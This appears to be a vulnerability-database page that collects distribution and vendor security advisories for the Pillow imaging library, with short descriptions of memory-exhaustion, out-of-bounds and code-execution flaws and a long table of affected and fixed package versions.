TuxCare rebuilt pillow to address 3 CVEs. Fixed in 8.4.0.post3+tuxcare.
- Record
CLSA-2026-1787309468- Updated
- 2026-11-02
OSVCLSA-2026-1787718630 No score
TuxCare security update for pillow (3 CVEs)
TuxCare rebuilt pillow to address 3 CVEs. Fixed in 10.4.0.post6+tuxcare.
- Record
CLSA-2026-1787718630- Updated
- 2026-11-02
OSVCLSA-2026-1790674233 No score
TuxCare security update for pillow (14 CVEs)
TuxCare rebuilt pillow to address 14 CVEs. Fixed in 11.3.0.post5+tuxcare.
- Record
CLSA-2026-1790674233- Updated
- 2026-11-02
OSVMGASA-2026-0463 No score
Updated python-pillow packages fix security vulnerabilities
Prevent decompression bomb when parsing PDF WindowsViewer.get_command injection EPS image infinite loop JPEG2000 image memory usage McIdas out-of-bounds (OOB) read Out-of-bounds (OOB) read when saving 1 mode TGA images Out-of-bounds (OOB) write from large RankFilter sizes Out-of-bounds (OOB) write from Image.paste() Out-of-bounds (OOB) write in ImageCmsTransform Prevent FontFile decompression bomb Prevent GD decompression bomb
- Record
MGASA-2026-0463- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:11261-1 No score
python313-Pillow-12.3.0-1.1 on GA media
These are all security issues fixed in the python313-Pillow-12.3.0-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:11261-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:21296-1 No score
Security update for python-Pillow
This update for python-Pillow fixes the following issues
- CVE-2026-42311: malicious PSD file processing can lead to arbitrary code execution (bsc#1270404).
- CVE-2026-54059: crafted PCF font data can cause excessive memory allocation (bsc#1270409).
- CVE-2026-54060: fonts can trigger excessive memory allocation during conversion or saving (bsc#1270410).
- CVE-2026-55379: bypass of decompression bomb protection allows excessive memory allocation (bsc#1270411).
- CVE-2026-55380: crafted
.gdfile can trigger excessive C-heap allocation when loaded (bsc#1270412).
- Record
openSUSE-SU-2026:21296-1- Updated
- 2026-11-02
OSVROOT-APP-PYPI-CVE-2026-55379 No score
CVE-2026-55379 in pillow - Patched by Root
Root has patched CVE-2026-55379 in the pillow package for Root:PyPI. Multiple fixed versions available.
- Record
ROOT-APP-PYPI-CVE-2026-55379- Updated
- 2026-11-06
OSVSUSE-SU-2026:22626-1 No score
Security update for python-Pillow
This update for python-Pillow fixes the following issues
- CVE-2026-42311: malicious PSD file processing can lead to arbitrary code execution (bsc#1270404).
- CVE-2026-54059: crafted PCF font data can cause excessive memory allocation (bsc#1270409).
- CVE-2026-54060: fonts can trigger excessive memory allocation during conversion or saving (bsc#1270410).
- CVE-2026-55379: bypass of decompression bomb protection allows excessive memory allocation (bsc#1270411).
- CVE-2026-55380: crafted
.gdfile can trigger excessive C-heap allocation when loaded (bsc#1270412).
- Record
SUSE-SU-2026:22626-1- Updated
- 2026-11-02
OSVSUSE-SU-2026:2875-1 No score
Security update for python-Pillow
This update for python-Pillow fixes the following issues
- CVE-2026-54059: crafted PCF font data can cause excessive memory allocation (bsc#1270409).
- CVE-2026-54060: a font can trigger excessive allocation during conversion or saving (bsc#1270410).
- CVE-2026-55379: bypass of decompression bomb protection, allowing excessive memory allocation (bsc#1270411).
- CVE-2026-55380: crafted .gd file can trigger excessive C-heap allocation when loaded (bsc#1270412).
- Record
SUSE-SU-2026:2875-1- Updated
- 2026-11-02
OSVSUSE-SU-2026:3268-1 No score
Security update for python-Pillow
This update for python-Pillow fixes the following issues:
- CVE-2026-54058: out-of-bounds read via attacker-controlled row stride on
mmappath (bsc#1271419). - CVE-2026-54059: bomb protection bypass via PCF font loading due to
Image.frombytes()being called without_decompression_bomb_check()(bsc#1270409). - CVE-2026-54060: excessive allocation due to
FontFile.compile():Image.new()being called without_decompression_bomb_check()(bsc#1270410). - CVE-2026-55379: bomb protection bypass via font loading due to
Image.new()being called without_decompression_bomb_check()(bsc#1270411). - CVE-2026-55380: unchecked 4.3 GB C-heap allocation due to image dimensions being accepted without
_decompression_bomb_check()inGdImageFile._open()(bsc#1270412). - CVE-2026-59197: heap out-of-bounds write in
ImageFilter.RankFiltervia integer overflow inImagingExpand(bsc#1271418). - CVE-2026-59198: out-of-bounds heap data copied into file generated by TGA RLE encoder (bsc#1271420).
- CVE-2026-59199: heap out-of-bounds write in
Image.paste()andImage.crop()via signed coordinate overflow (bsc#1271421). - CVE-2026-59200: decompression bomb DoS via
PdfParser.PdfStream.decode()(bsc#1271422). - CVE-2026-59204: denial of service through memory exhaustion via JPEG2000 tiled decoder (bsc#1271424).
- CVE-2026-59205: controlled heap out-of-bounds write in
ImageCmsTransform.apply()via output mode mismatch (bsc#1271425).
- Record
SUSE-SU-2026:3268-1- Updated
- 2026-11-02
OSVUSN-8999-1 No score
pillow vulnerabilities
It was discovered that Pillow incorrectly handled map stride values when loading certain McIdas AREA images. An attacker could possibly use this issue to obtain sensitive information or cause a denial of service. (CVE-2026-54058)
It was discovered that Pillow did not properly check for decompression bombs when processing font files. An attacker could possibly use this issue to cause Pillow to consume excessive memory, resulting in a denial of service. (CVE-2026-54059, CVE-2026-54060, CVE-2026-55379)
It was discovered that Pillow did not properly check for decompression bombs when loading GD image files. An attacker could possibly use this issue to cause Pillow to consume excessive memory, resulting in a denial of service. (CVE-2026-55380)
It was discovered that Pillow incorrectly validated filter sizes in the rank filter implementation. An attacker could possibly use this issue to cause Pillow to crash or execute arbitrary code. (CVE-2026-59197)
It was discovered that Pillow incorrectly handled image coordinate calculations. An attacker could possibly use this issue to cause Pillow to crash. (CVE-2026-59199)
It was discovered that Pillow did not properly limit the size of decompressed PDF stream data. An attacker could possibly use this issue to cause Pillow to consume excessive memory, resulting in a denial of service. (CVE-2026-59200)
It was discovered that Pillow incorrectly parsed EPS files containing a negative byte count in the BeginBinary directive. An attacker could possibly use this issue to cause Pillow to hang, resulting in a denial of service. This issue only affected Ubuntu 26.04 LTS. (CVE-2026-59203)
It was discovered that Pillow incorrectly accumulated JPEG2000 tile component widths. An attacker could possibly use this issue to cause Pillow to consume excessive memory, resulting in a denial of service. (CVE-2026-59204)
It was discovered that Pillow incorrectly validated image mode compatibility in color management transforms. An attacker could possibly use this issue to cause Pillow to crash or execute arbitrary code. (CVE-2026-59205)
- Record
USN-8999-1- Updated
- 2026-11-05
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
pillowPyPI |
before 12.3.0 | 12.3.0 |
python3-pillowAlmaLinux:8 From an advisory covering 4 CVEs |
before 5.1.1-22.el8_10 | 5.1.1-22.el8_10 |
python3-pillow-develAlmaLinux:8 From an advisory covering 4 CVEs |
before 5.1.1-22.el8_10 | 5.1.1-22.el8_10 |
python3-pillow-docAlmaLinux:8 From an advisory covering 4 CVEs |
before 5.1.1-22.el8_10 | 5.1.1-22.el8_10 |
python3-pillow-tkAlmaLinux:8 From an advisory covering 4 CVEs |
before 5.1.1-22.el8_10 | 5.1.1-22.el8_10 |
pillowBitnami |
before 12.3.0 | 12.3.0 |
pillowTuxCare:PyPI From an advisory covering 9 CVEs |
11.2.1 up to 11.2.1.post4+tuxcare, plus listed versions 11.2.1.post1+tuxcare11.2.1.post2+tuxcare11.2.1.post3+tuxcare |
11.2.1.post4+tuxcare |
pillowTuxCare:PyPI From an advisory covering 5 CVEs |
9.5.0 up to 9.5.0.post3+tuxcare, plus listed versions 9.5.0.post1+tuxcare9.5.0.post2+tuxcare |
9.5.0.post3+tuxcare |
pillowTuxCare:PyPI From an advisory covering 4 CVEs |
9.4.0 up to 9.4.0.post5+tuxcare, plus listed versions 9.4.0.post1+tuxcare9.4.0.post2+tuxcare9.4.0.post3+tuxcare9.4.0.post4+tuxcare |
9.4.0.post5+tuxcare |
pillowTuxCare:PyPI From an advisory covering 3 CVEs |
8.4.0 up to 8.4.0.post3+tuxcare, plus listed versions 8.4.0.post1+tuxcare8.4.0.post2+tuxcare |
8.4.0.post3+tuxcare |
Show 290 moreShow less
| Package | Affected | Fixed |
|---|---|---|
pillowTuxCare:PyPI From an advisory covering 3 CVEs |
10.4.0 up to 10.4.0.post6+tuxcare, plus listed versions 10.4.0.post1+tuxcare10.4.0.post2+tuxcare10.4.0.post3+tuxcare10.4.0.post4+tuxcare10.4.0.post5+tuxcare |
10.4.0.post6+tuxcare |
pillowTuxCare:PyPI From an advisory covering 14 CVEs |
11.3.0 up to 11.3.0.post5+tuxcare, plus listed versions 11.3.0.post1+tuxcare11.3.0.post2+tuxcare11.3.0.post3+tuxcare11.3.0.post4+tuxcare |
11.3.0.post5+tuxcare |
pillowDebian:12 |
All versions, plus listed versions 10.0.0-110.1.0-110.2.0-110.3.0-110.3.0-2 Show 19 moreShow less10.4.0-110.4.0-1.111.1.0-111.1.0-211.1.0-311.1.0-411.1.0-511.2.1-111.3.0-112.0.0-112.1.0-112.1.1-112.1.1-212.2.0-112.3.0-113.0.0-19.4.0-1.19.4.0-1.1+deb12u19.5.0-1 |
None known |
pillowDebian:13 |
All versions, plus listed versions 11.1.0-511.1.0-5+deb13u111.1.0-5+deb13u211.1.0-5+deb13u311.1.0-5+deb13u4 Show 9 moreShow less11.2.1-111.3.0-112.0.0-112.1.0-112.1.1-112.1.1-212.2.0-112.3.0-113.0.0-1 |
None known |
pillowDebian:14 |
before 12.3.0-1, plus listed versions 11.1.0-511.2.1-111.3.0-112.0.0-112.1.0-112.1.1-112.1.1-212.2.0-1 |
12.3.0-1 |
pillowPyPI |
before 12.3.0, plus listed versions 1.01.11.21.31.4 Show 45 moreShow less1.51.61.7.01.7.11.7.21.7.31.7.41.7.51.7.61.7.71.7.810.0.010.0.110.1.010.2.010.3.010.4.011.0.011.1.011.2.111.3.012.0.012.1.012.1.112.2.02.0.02.1.02.2.02.2.12.2.22.3.02.3.12.3.22.4.02.5.02.5.12.5.22.5.32.6.02.6.12.6.22.7.02.8.02.8.12.8.2 |
12.3.0 |
python-pillowMageia:10 From an advisory covering 11 CVEs |
before 12.3.0-1.mga10 | 12.3.0-1.mga10 |
python-pillowopenEuler:20.03-LTS-SP4 From an advisory covering 7 CVEs |
before 9.0.1-12.oe2003sp4 | 9.0.1-12.oe2003sp4 |
python-pillowopenEuler:22.03-LTS-SP4 From an advisory covering 7 CVEs |
before 9.0.1-12.oe2203sp4 | 9.0.1-12.oe2203sp4 |
python-pillowopenEuler:24.03-LTS-SP1 From an advisory covering 6 CVEs |
before 10.3.0-8.oe2403sp1 | 10.3.0-8.oe2403sp1 |
python-pillowopenEuler:24.03-LTS-SP3 From an advisory covering 6 CVEs |
before 10.3.0-8.oe2403sp3 | 10.3.0-8.oe2403sp3 |
python-pillowopenEuler:24.03-LTS-SP4 From an advisory covering 6 CVEs |
before 10.3.0-8.oe2403sp4 | 10.3.0-8.oe2403sp4 |
python-pillowRed Hat:enterprise_linux:8::appstream From an advisory covering 4 CVEs |
before 0:5.1.1-22.el8_10 | 0:5.1.1-22.el8_10 |
python-pillow-debuginfoRed Hat:enterprise_linux:8::appstream From an advisory covering 4 CVEs |
before 0:5.1.1-22.el8_10 | 0:5.1.1-22.el8_10 |
python-pillow-debugsourceRed Hat:enterprise_linux:8::appstream From an advisory covering 4 CVEs |
before 0:5.1.1-22.el8_10 | 0:5.1.1-22.el8_10 |
python3-pillowRed Hat:enterprise_linux:8::appstream From an advisory covering 4 CVEs |
before 0:5.1.1-22.el8_10 | 0:5.1.1-22.el8_10 |
python3-pillow-debuginfoRed Hat:enterprise_linux:8::appstream From an advisory covering 4 CVEs |
before 0:5.1.1-22.el8_10 | 0:5.1.1-22.el8_10 |
python3-pillow-tk-debuginfoRed Hat:enterprise_linux:8::appstream From an advisory covering 4 CVEs |
before 0:5.1.1-22.el8_10 | 0:5.1.1-22.el8_10 |
python-pillow-debuginfoRed Hat:enterprise_linux:8::crb From an advisory covering 4 CVEs |
before 0:5.1.1-22.el8_10 | 0:5.1.1-22.el8_10 |
python-pillow-debugsourceRed Hat:enterprise_linux:8::crb From an advisory covering 4 CVEs |
before 0:5.1.1-22.el8_10 | 0:5.1.1-22.el8_10 |
python3-pillowRed Hat:enterprise_linux:8::crb From an advisory covering 4 CVEs |
before 0:5.1.1-22.el8_10 | 0:5.1.1-22.el8_10 |
python3-pillow-debuginfoRed Hat:enterprise_linux:8::crb From an advisory covering 4 CVEs |
before 0:5.1.1-22.el8_10 | 0:5.1.1-22.el8_10 |
python3-pillow-develRed Hat:enterprise_linux:8::crb From an advisory covering 4 CVEs |
before 0:5.1.1-22.el8_10 | 0:5.1.1-22.el8_10 |
python3-pillow-docRed Hat:enterprise_linux:8::crb From an advisory covering 4 CVEs |
before 0:5.1.1-22.el8_10 | 0:5.1.1-22.el8_10 |
python3-pillow-tkRed Hat:enterprise_linux:8::crb From an advisory covering 4 CVEs |
before 0:5.1.1-22.el8_10 | 0:5.1.1-22.el8_10 |
python3-pillow-tk-debuginfoRed Hat:enterprise_linux:8::crb From an advisory covering 4 CVEs |
before 0:5.1.1-22.el8_10 | 0:5.1.1-22.el8_10 |
python-pillowRed Hat:rhel_e4s:8.8::appstream From an advisory covering 4 CVEs |
before 0:5.1.1-20.el8_8 | 0:5.1.1-20.el8_8 |
python-pillow-debuginfoRed Hat:rhel_e4s:8.8::appstream From an advisory covering 4 CVEs |
before 0:5.1.1-20.el8_8 | 0:5.1.1-20.el8_8 |
python-pillow-debugsourceRed Hat:rhel_e4s:8.8::appstream From an advisory covering 4 CVEs |
before 0:5.1.1-20.el8_8 | 0:5.1.1-20.el8_8 |
python3-pillowRed Hat:rhel_e4s:8.8::appstream From an advisory covering 4 CVEs |
before 0:5.1.1-20.el8_8 | 0:5.1.1-20.el8_8 |
python3-pillow-debuginfoRed Hat:rhel_e4s:8.8::appstream From an advisory covering 4 CVEs |
before 0:5.1.1-20.el8_8 | 0:5.1.1-20.el8_8 |
python3-pillow-tk-debuginfoRed Hat:rhel_e4s:8.8::appstream From an advisory covering 4 CVEs |
before 0:5.1.1-20.el8_8 | 0:5.1.1-20.el8_8 |
python-pillowRed Hat:rhel_tus:8.8::appstream From an advisory covering 4 CVEs |
before 0:5.1.1-20.el8_8 | 0:5.1.1-20.el8_8 |
python-pillow-debuginfoRed Hat:rhel_tus:8.8::appstream From an advisory covering 4 CVEs |
before 0:5.1.1-20.el8_8 | 0:5.1.1-20.el8_8 |
python-pillow-debugsourceRed Hat:rhel_tus:8.8::appstream From an advisory covering 4 CVEs |
before 0:5.1.1-20.el8_8 | 0:5.1.1-20.el8_8 |
python3-pillowRed Hat:rhel_tus:8.8::appstream From an advisory covering 4 CVEs |
before 0:5.1.1-20.el8_8 | 0:5.1.1-20.el8_8 |
python3-pillow-debuginfoRed Hat:rhel_tus:8.8::appstream From an advisory covering 4 CVEs |
before 0:5.1.1-20.el8_8 | 0:5.1.1-20.el8_8 |
python3-pillow-tk-debuginfoRed Hat:rhel_tus:8.8::appstream From an advisory covering 4 CVEs |
before 0:5.1.1-20.el8_8 | 0:5.1.1-20.el8_8 |
python-pillowRed Hat:rhel_aus:8.6::appstream From an advisory covering 4 CVEs |
before 0:5.1.1-20.el8_6 | 0:5.1.1-20.el8_6 |
python-pillow-debuginfoRed Hat:rhel_aus:8.6::appstream From an advisory covering 4 CVEs |
before 0:5.1.1-20.el8_6 | 0:5.1.1-20.el8_6 |
python-pillow-debugsourceRed Hat:rhel_aus:8.6::appstream From an advisory covering 4 CVEs |
before 0:5.1.1-20.el8_6 | 0:5.1.1-20.el8_6 |
python3-pillowRed Hat:rhel_aus:8.6::appstream From an advisory covering 4 CVEs |
before 0:5.1.1-20.el8_6 | 0:5.1.1-20.el8_6 |
python3-pillow-debuginfoRed Hat:rhel_aus:8.6::appstream From an advisory covering 4 CVEs |
before 0:5.1.1-20.el8_6 | 0:5.1.1-20.el8_6 |
python3-pillow-tk-debuginfoRed Hat:rhel_aus:8.6::appstream From an advisory covering 4 CVEs |
before 0:5.1.1-20.el8_6 | 0:5.1.1-20.el8_6 |
python-pillowRed Hat:rhel_eus_long_life:8.6::appstream From an advisory covering 4 CVEs |
before 0:5.1.1-20.el8_6 | 0:5.1.1-20.el8_6 |
python-pillow-debuginfoRed Hat:rhel_eus_long_life:8.6::appstream From an advisory covering 4 CVEs |
before 0:5.1.1-20.el8_6 | 0:5.1.1-20.el8_6 |
python-pillow-debugsourceRed Hat:rhel_eus_long_life:8.6::appstream From an advisory covering 4 CVEs |
before 0:5.1.1-20.el8_6 | 0:5.1.1-20.el8_6 |
python3-pillowRed Hat:rhel_eus_long_life:8.6::appstream From an advisory covering 4 CVEs |
before 0:5.1.1-20.el8_6 | 0:5.1.1-20.el8_6 |
python3-pillow-debuginfoRed Hat:rhel_eus_long_life:8.6::appstream From an advisory covering 4 CVEs |
before 0:5.1.1-20.el8_6 | 0:5.1.1-20.el8_6 |
python3-pillow-tk-debuginfoRed Hat:rhel_eus_long_life:8.6::appstream From an advisory covering 4 CVEs |
before 0:5.1.1-20.el8_6 | 0:5.1.1-20.el8_6 |
openvox-serverRed Hat:satellite_capsule:6.19::el9 From an advisory covering 8 CVEs |
before 0:8.14.1-1.el9sat | 0:8.14.1-1.el9sat |
openvox-serverRed Hat:satellite:6.19::el9 From an advisory covering 8 CVEs |
before 0:8.14.1-1.el9sat | 0:8.14.1-1.el9sat |
rubygem-katelloRed Hat:satellite:6.19::el9 From an advisory covering 8 CVEs |
before 0:4.20.0.7-1.el9sat | 0:4.20.0.7-1.el9sat |
python3.12-pillowRed Hat:satellite_capsule:6.19::el9 From an advisory covering 8 CVEs |
before 0:12.3.0-1.el9pc | 0:12.3.0-1.el9pc |
python3.12-pillow-debuginfoRed Hat:satellite_capsule:6.19::el9 From an advisory covering 8 CVEs |
before 0:12.3.0-1.el9pc | 0:12.3.0-1.el9pc |
python3.12-pillow-debugsourceRed Hat:satellite_capsule:6.19::el9 From an advisory covering 8 CVEs |
before 0:12.3.0-1.el9pc | 0:12.3.0-1.el9pc |
python3.12-pillowRed Hat:satellite:6.19::el9 From an advisory covering 8 CVEs |
before 0:12.3.0-1.el9pc | 0:12.3.0-1.el9pc |
python3.12-pillow-debuginfoRed Hat:satellite:6.19::el9 From an advisory covering 8 CVEs |
before 0:12.3.0-1.el9pc | 0:12.3.0-1.el9pc |
python3.12-pillow-debugsourceRed Hat:satellite:6.19::el9 From an advisory covering 8 CVEs |
before 0:12.3.0-1.el9pc | 0:12.3.0-1.el9pc |
rubygem-faradayRed Hat:satellite_capsule:6.19::el9 From an advisory covering 8 CVEs |
before 0:1.10.6-1.el9sat | 0:1.10.6-1.el9sat |
rubygem-faradayRed Hat:satellite:6.19::el9 From an advisory covering 8 CVEs |
before 0:1.10.6-1.el9sat | 0:1.10.6-1.el9sat |
rubygem-nokogiriRed Hat:satellite_capsule:6.19::el9 From an advisory covering 8 CVEs |
before 0:1.17.2-3.el9sat | 0:1.17.2-3.el9sat |
rubygem-nokogiri-debuginfoRed Hat:satellite_capsule:6.19::el9 From an advisory covering 8 CVEs |
before 0:1.17.2-3.el9sat | 0:1.17.2-3.el9sat |
rubygem-nokogiri-debugsourceRed Hat:satellite_capsule:6.19::el9 From an advisory covering 8 CVEs |
before 0:1.17.2-3.el9sat | 0:1.17.2-3.el9sat |
rubygem-nokogiriRed Hat:satellite:6.19::el9 From an advisory covering 8 CVEs |
before 0:1.17.2-3.el9sat | 0:1.17.2-3.el9sat |
rubygem-nokogiri-debuginfoRed Hat:satellite:6.19::el9 From an advisory covering 8 CVEs |
before 0:1.17.2-3.el9sat | 0:1.17.2-3.el9sat |
rubygem-nokogiri-debugsourceRed Hat:satellite:6.19::el9 From an advisory covering 8 CVEs |
before 0:1.17.2-3.el9sat | 0:1.17.2-3.el9sat |
openvox-agentRed Hat:satellite_capsule:6.17::el9 From an advisory covering 10 CVEs |
before 0:8.24.1-3.el9sat | 0:8.24.1-3.el9sat |
openvox-agentRed Hat:satellite:6.17::el9 From an advisory covering 10 CVEs |
before 0:8.24.1-3.el9sat | 0:8.24.1-3.el9sat |
openvox-serverRed Hat:satellite_capsule:6.17::el9 From an advisory covering 10 CVEs |
before 0:8.14.1-1.el9sat | 0:8.14.1-1.el9sat |
openvox-serverRed Hat:satellite:6.17::el9 From an advisory covering 10 CVEs |
before 0:8.14.1-1.el9sat | 0:8.14.1-1.el9sat |
rubygem-katelloRed Hat:satellite:6.17::el9 From an advisory covering 10 CVEs |
before 0:4.16.0.18-1.el9sat | 0:4.16.0.18-1.el9sat |
python-pyjwtRed Hat:satellite_capsule:6.17::el9 From an advisory covering 10 CVEs |
before 0:2.13.0-1.el9pc | 0:2.13.0-1.el9pc |
python3.11-pyjwt+cryptoRed Hat:satellite_capsule:6.17::el9 From an advisory covering 10 CVEs |
before 0:2.13.0-1.el9pc | 0:2.13.0-1.el9pc |
python3.11-pyjwtRed Hat:satellite_capsule:6.17::el9 From an advisory covering 10 CVEs |
before 0:2.13.0-1.el9pc | 0:2.13.0-1.el9pc |
python-pyjwtRed Hat:satellite:6.17::el9 From an advisory covering 10 CVEs |
before 0:2.13.0-1.el9pc | 0:2.13.0-1.el9pc |
python3.11-pyjwt+cryptoRed Hat:satellite:6.17::el9 From an advisory covering 10 CVEs |
before 0:2.13.0-1.el9pc | 0:2.13.0-1.el9pc |
python3.11-pyjwtRed Hat:satellite:6.17::el9 From an advisory covering 10 CVEs |
before 0:2.13.0-1.el9pc | 0:2.13.0-1.el9pc |
python-pillowRed Hat:satellite_capsule:6.17::el9 From an advisory covering 10 CVEs |
before 0:12.3.0-1.el9pc | 0:12.3.0-1.el9pc |
python-pillow-debugsourceRed Hat:satellite_capsule:6.17::el9 From an advisory covering 10 CVEs |
before 0:12.3.0-1.el9pc | 0:12.3.0-1.el9pc |
python3.11-pillowRed Hat:satellite_capsule:6.17::el9 From an advisory covering 10 CVEs |
before 0:12.3.0-1.el9pc | 0:12.3.0-1.el9pc |
python3.11-pillow-debuginfoRed Hat:satellite_capsule:6.17::el9 From an advisory covering 10 CVEs |
before 0:12.3.0-1.el9pc | 0:12.3.0-1.el9pc |
python-pillowRed Hat:satellite:6.17::el9 From an advisory covering 10 CVEs |
before 0:12.3.0-1.el9pc | 0:12.3.0-1.el9pc |
python-pillow-debugsourceRed Hat:satellite:6.17::el9 From an advisory covering 10 CVEs |
before 0:12.3.0-1.el9pc | 0:12.3.0-1.el9pc |
python3.11-pillowRed Hat:satellite:6.17::el9 From an advisory covering 10 CVEs |
before 0:12.3.0-1.el9pc | 0:12.3.0-1.el9pc |
python3.11-pillow-debuginfoRed Hat:satellite:6.17::el9 From an advisory covering 10 CVEs |
before 0:12.3.0-1.el9pc | 0:12.3.0-1.el9pc |
rubygem-faradayRed Hat:satellite_capsule:6.17::el9 From an advisory covering 10 CVEs |
before 0:1.10.6-1.el9sat | 0:1.10.6-1.el9sat |
rubygem-faradayRed Hat:satellite:6.17::el9 From an advisory covering 10 CVEs |
before 0:1.10.6-1.el9sat | 0:1.10.6-1.el9sat |
rubygem-nokogiriRed Hat:satellite_capsule:6.17::el9 From an advisory covering 10 CVEs |
before 0:1.15.7-3.el9sat | 0:1.15.7-3.el9sat |
rubygem-nokogiri-debuginfoRed Hat:satellite_capsule:6.17::el9 From an advisory covering 10 CVEs |
before 0:1.15.7-3.el9sat | 0:1.15.7-3.el9sat |
rubygem-nokogiri-debugsourceRed Hat:satellite_capsule:6.17::el9 From an advisory covering 10 CVEs |
before 0:1.15.7-3.el9sat | 0:1.15.7-3.el9sat |
rubygem-nokogiriRed Hat:satellite:6.17::el9 From an advisory covering 10 CVEs |
before 0:1.15.7-3.el9sat | 0:1.15.7-3.el9sat |
rubygem-nokogiri-debuginfoRed Hat:satellite:6.17::el9 From an advisory covering 10 CVEs |
before 0:1.15.7-3.el9sat | 0:1.15.7-3.el9sat |
rubygem-nokogiri-debugsourceRed Hat:satellite:6.17::el9 From an advisory covering 10 CVEs |
before 0:1.15.7-3.el9sat | 0:1.15.7-3.el9sat |
openvox-agentRed Hat:satellite_capsule:6.16::el8 From an advisory covering 12 CVEs |
before 0:8.24.1-3.el8sat | 0:8.24.1-3.el8sat |
openvox-agentRed Hat:satellite:6.16::el8 From an advisory covering 12 CVEs |
before 0:8.24.1-3.el8sat | 0:8.24.1-3.el8sat |
openvox-agentRed Hat:satellite_capsule:6.16::el9 From an advisory covering 12 CVEs |
before 0:8.24.1-3.el9sat | 0:8.24.1-3.el9sat |
openvox-agentRed Hat:satellite:6.16::el9 From an advisory covering 12 CVEs |
before 0:8.24.1-3.el9sat | 0:8.24.1-3.el9sat |
openvox-serverRed Hat:satellite_capsule:6.16::el8 From an advisory covering 12 CVEs |
before 0:8.14.1-1.el8sat | 0:8.14.1-1.el8sat |
openvox-serverRed Hat:satellite:6.16::el8 From an advisory covering 12 CVEs |
before 0:8.14.1-1.el8sat | 0:8.14.1-1.el8sat |
openvox-serverRed Hat:satellite_capsule:6.16::el9 From an advisory covering 12 CVEs |
before 0:8.14.1-1.el9sat | 0:8.14.1-1.el9sat |
openvox-serverRed Hat:satellite:6.16::el9 From an advisory covering 12 CVEs |
before 0:8.14.1-1.el9sat | 0:8.14.1-1.el9sat |
rubygem-katelloRed Hat:satellite:6.16::el8 From an advisory covering 12 CVEs |
before 0:4.14.0.21-1.el8sat | 0:4.14.0.21-1.el8sat |
rubygem-katelloRed Hat:satellite:6.16::el9 From an advisory covering 12 CVEs |
before 0:4.14.0.21-1.el9sat | 0:4.14.0.21-1.el9sat |
python-pyjwtRed Hat:satellite_capsule:6.16::el8 From an advisory covering 12 CVEs |
before 0:2.13.0-1.el8pc | 0:2.13.0-1.el8pc |
python3.11-pyjwt+cryptoRed Hat:satellite_capsule:6.16::el8 From an advisory covering 12 CVEs |
before 0:2.13.0-1.el8pc | 0:2.13.0-1.el8pc |
python3.11-pyjwtRed Hat:satellite_capsule:6.16::el8 From an advisory covering 12 CVEs |
before 0:2.13.0-1.el8pc | 0:2.13.0-1.el8pc |
python-pyjwtRed Hat:satellite:6.16::el8 From an advisory covering 12 CVEs |
before 0:2.13.0-1.el8pc | 0:2.13.0-1.el8pc |
python3.11-pyjwt+cryptoRed Hat:satellite:6.16::el8 From an advisory covering 12 CVEs |
before 0:2.13.0-1.el8pc | 0:2.13.0-1.el8pc |
python3.11-pyjwtRed Hat:satellite:6.16::el8 From an advisory covering 12 CVEs |
before 0:2.13.0-1.el8pc | 0:2.13.0-1.el8pc |
python-pyjwtRed Hat:satellite_capsule:6.16::el9 From an advisory covering 12 CVEs |
before 0:2.13.0-1.el9pc | 0:2.13.0-1.el9pc |
python3.11-pyjwt+cryptoRed Hat:satellite_capsule:6.16::el9 From an advisory covering 12 CVEs |
before 0:2.13.0-1.el9pc | 0:2.13.0-1.el9pc |
python3.11-pyjwtRed Hat:satellite_capsule:6.16::el9 From an advisory covering 12 CVEs |
before 0:2.13.0-1.el9pc | 0:2.13.0-1.el9pc |
python-pyjwtRed Hat:satellite:6.16::el9 From an advisory covering 12 CVEs |
before 0:2.13.0-1.el9pc | 0:2.13.0-1.el9pc |
python3.11-pyjwt+cryptoRed Hat:satellite:6.16::el9 From an advisory covering 12 CVEs |
before 0:2.13.0-1.el9pc | 0:2.13.0-1.el9pc |
python3.11-pyjwtRed Hat:satellite:6.16::el9 From an advisory covering 12 CVEs |
before 0:2.13.0-1.el9pc | 0:2.13.0-1.el9pc |
libsolvRed Hat:satellite_capsule:6.16::el8 From an advisory covering 12 CVEs |
before 1:0.7.20-7.el8sat | 1:0.7.20-7.el8sat |
libsolv-debuginfoRed Hat:satellite_capsule:6.16::el8 From an advisory covering 12 CVEs |
before 1:0.7.20-7.el8sat | 1:0.7.20-7.el8sat |
libsolv-debugsourceRed Hat:satellite_capsule:6.16::el8 From an advisory covering 12 CVEs |
before 1:0.7.20-7.el8sat | 1:0.7.20-7.el8sat |
libsolv-demo-debuginfoRed Hat:satellite_capsule:6.16::el8 From an advisory covering 12 CVEs |
before 1:0.7.20-7.el8sat | 1:0.7.20-7.el8sat |
libsolv-tools-debuginfoRed Hat:satellite_capsule:6.16::el8 From an advisory covering 12 CVEs |
before 1:0.7.20-7.el8sat | 1:0.7.20-7.el8sat |
perl-solv-debuginfoRed Hat:satellite_capsule:6.16::el8 From an advisory covering 12 CVEs |
before 1:0.7.20-7.el8sat | 1:0.7.20-7.el8sat |
python3-solvRed Hat:satellite_capsule:6.16::el8 From an advisory covering 12 CVEs |
before 1:0.7.20-7.el8sat | 1:0.7.20-7.el8sat |
python3-solv-debuginfoRed Hat:satellite_capsule:6.16::el8 From an advisory covering 12 CVEs |
before 1:0.7.20-7.el8sat | 1:0.7.20-7.el8sat |
ruby-solv-debuginfoRed Hat:satellite_capsule:6.16::el8 From an advisory covering 12 CVEs |
before 1:0.7.20-7.el8sat | 1:0.7.20-7.el8sat |
libsolvRed Hat:satellite:6.16::el8 From an advisory covering 12 CVEs |
before 1:0.7.20-7.el8sat | 1:0.7.20-7.el8sat |
libsolv-debuginfoRed Hat:satellite:6.16::el8 From an advisory covering 12 CVEs |
before 1:0.7.20-7.el8sat | 1:0.7.20-7.el8sat |
libsolv-debugsourceRed Hat:satellite:6.16::el8 From an advisory covering 12 CVEs |
before 1:0.7.20-7.el8sat | 1:0.7.20-7.el8sat |
libsolv-demo-debuginfoRed Hat:satellite:6.16::el8 From an advisory covering 12 CVEs |
before 1:0.7.20-7.el8sat | 1:0.7.20-7.el8sat |
libsolv-tools-debuginfoRed Hat:satellite:6.16::el8 From an advisory covering 12 CVEs |
before 1:0.7.20-7.el8sat | 1:0.7.20-7.el8sat |
perl-solv-debuginfoRed Hat:satellite:6.16::el8 From an advisory covering 12 CVEs |
before 1:0.7.20-7.el8sat | 1:0.7.20-7.el8sat |
python3-solvRed Hat:satellite:6.16::el8 From an advisory covering 12 CVEs |
before 1:0.7.20-7.el8sat | 1:0.7.20-7.el8sat |
